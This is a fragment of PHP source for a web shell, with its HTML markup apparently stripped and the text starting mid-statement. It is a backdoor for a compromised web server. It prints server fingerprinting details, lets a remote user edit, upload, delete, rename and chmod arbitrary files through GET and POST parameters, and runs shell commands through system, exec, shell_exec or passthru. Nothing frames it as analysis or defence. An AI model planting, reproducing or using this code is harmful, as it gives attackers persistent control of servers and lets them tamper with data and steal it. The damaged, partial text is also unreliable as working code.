ON'):('OFF');$cwd=getcwd();$bckC='#333333';$txtC='#999999';
$start='
'.getenv('HTTP_HOST').'
';
$menu='';$end='';$inf='||| Software: '.$server_soft.' ||| Uname: '.$uname.' |||||| User: '.$cur_user.' ||| Safe Mode: '.$safe_mode.' ||| Directory: '.$cwd.' |||
';
print $start;print $menu;print $inf;
$moreI=array('PHP Version' => phpversion(),'Zend Version' => zend_version(),'Magic Quotes' => magic_quotes(),'Curl' => curl(),'Register Globals' => reg_globals(),'OpenBase Dir' => openbase_dir(),'MySQL' => myql(),'Gzip' => gzip(),'MsSQL' => mssql(),'PostgreSQL' => postgresql(),'Oracle' => oracle(),'Total Space' => h_size(disk_total_space('/')) ,'Used Space' => h_size(disk_free_space('/')),'Your IP' => $_SERVER['REMOTE_ADDR'],'Server IP' => $_SERVER['SERVER_ADDR']);print ''; foreach($moreI as $n => $v) {print ''.$n.' | :> | '.$v.' | ';} print 'PHPInfo |
';
if(isset($_GET['d'])) {chdir($_GET['d']);}
if(isset($_REQUEST['x']))
{
print 'BACK
';
switch($_REQUEST['x'])
{
case 'c': if(isset($_POST['edit_form'])){$f=$_GET['f'];$e=fopen($f,'w') or print 'Error Opening File
';fwrite($e,$_POST['edit_form']) or print 'Couldn\'t Save File
';fclose($e);}print 'Editing '.$_GET['f'].' ('.perms($_GET['d'] . $_GET['f']).') .
';break;
case 'cmd': print 'Execute Command
';break;
case 'php': print 'PHP Code
';break;
case 'phpinf': phpinfo();break;
case 'q': setcookie($xyn,'',time()-3600);let_him_in();break;
case 'x': print '';break;
}
}
else
{
if(isset($_GET['d'])) {chdir($_GET['d']);}
if(isset($_GET['ndir'])) {$d=$_GET['d'];$n=$_GET['ndir'];mkdir($d .DIRECTORY_SEPARATOR. $n);}
if(isset($_POST['new'])) {$n=$_POST['new'];$o=$_POST['old'];$d=$_POST['d'];rename($d.DIRECTORY_SEPARATOR.$o,$d.DIRECTORY_SEPARATOR.$n);}
if(isset($_GET['deld'])) {$d=$_GET['deld']; rmdir($d);}
if(isset($_GET['delf'])) {$d=$_GET['delf']; unlink($d);}
if(isset($_GET['ch'])) {$ch=$_GET['ch']; $d=$_GET['df']; chmod($d,$ch);}
if(isset($_FILES['upfile']['name'])) {$d=realpath('.').DIRECTORY_SEPARATOR.basename($_FILES['upfile']['name']);move_uploaded_file($_FILES['upfile']['tmp_name'],$d);}
print ''.curpath('').'
';
print '';
print '';
$filex=array();
$dirx=array();
print '';
}
function openbase_dir(){$x=ini_get('open_basedir');if(!$x) {$o='OFF';}else {$o='ON';}return($o);}
function magic_quotes(){$x=get_magic_quotes_gpc();if(empty($x)) {$m='OFF';}else {$m='ON';}return($m);}
function curl(){if(extension_loaded('curl')) {$c='ON';}else {$c='OFF';}return($c);}
function reg_globals(){if(ini_get('reqister_globals')) {$r='ON';}else {$r='OFF';}return($r);}
function oracle(){if(function_exists('ocilogon')) {$o='ON';}else {$o='OFF';}return($o);}
function postgresql(){if(function_exists('pg_connect')) {$p='ON';}else {$p='OFF';}return($p);}
function myql(){if(function_exists('mysql_connect')) {$m='ON';}else {$m='OFF';}return($m);}
function mssql(){if(function_exists('mssql_connect')) {$m='ON';}else {$m='OFF';}return($m);}
function gzip(){if(function_exists('gzencode')) {$m='ON';}else {$m='OFF';}return($m);}
function h_size($s){if($s>=1073741824) {$s=round($s/1073741824*100)/100 .'GB';}elseif($s>=1048576) {$s=round($s/1048576*100)/100 .'MB';}elseif($s>=1024) {$s=round($s/1024*100)/100 .'KB';}else {$s=$s.'B';}return($s);}
function curpath($d){if($d=='') {$d=getcwd();}$p='';$n='';$dx=explode(DIRECTORY_SEPARATOR,$d);for($i=0;$i < count($dx);$i++) {$g=$dx[$i];$p.=$dx[$i] . DIRECTORY_SEPARATOR; $n .=''.$g.''.DIRECTORY_SEPARATOR;}return($n);}
function get_color($f){if(is_writable($f)) {$c='#ccff00';}if(!is_writable($f) && is_readable($f)) {$c=''.$txtC.'';}if(!is_writable($f) && !is_readable($f)) {$c='crimson';}return($c);}
function perms($f) {if(file_exists($f)) {return substr(sprintf('%o',fileperms($f)), -4);} else {return '???';}}
function exec_meth() {if(function_exists('passthru')) {$m='passthru';} if(function_exists('exec')) {$m='exec';} if(function_exists('shell_exec')) {$m='shell_exec';} if(function_exists('system')) {$m='system';} if(!isset($m)) {$m='Disabled';} return($m);}
function execute($m,$c) {if($m=='passthru') {passthru($c);} elseif($m=='system') {system($c);} elseif($m=='shell_exec') {print shell_exec($c);} elseif($m=='exec') {exec($c,$r); foreach($r as $o) {print $o.'';}} else {print 'dafuq?';}}
function initiate(){print '';}
function let_him_in() { header("Location: ".basename(__FILE__)); }
print $end;
?>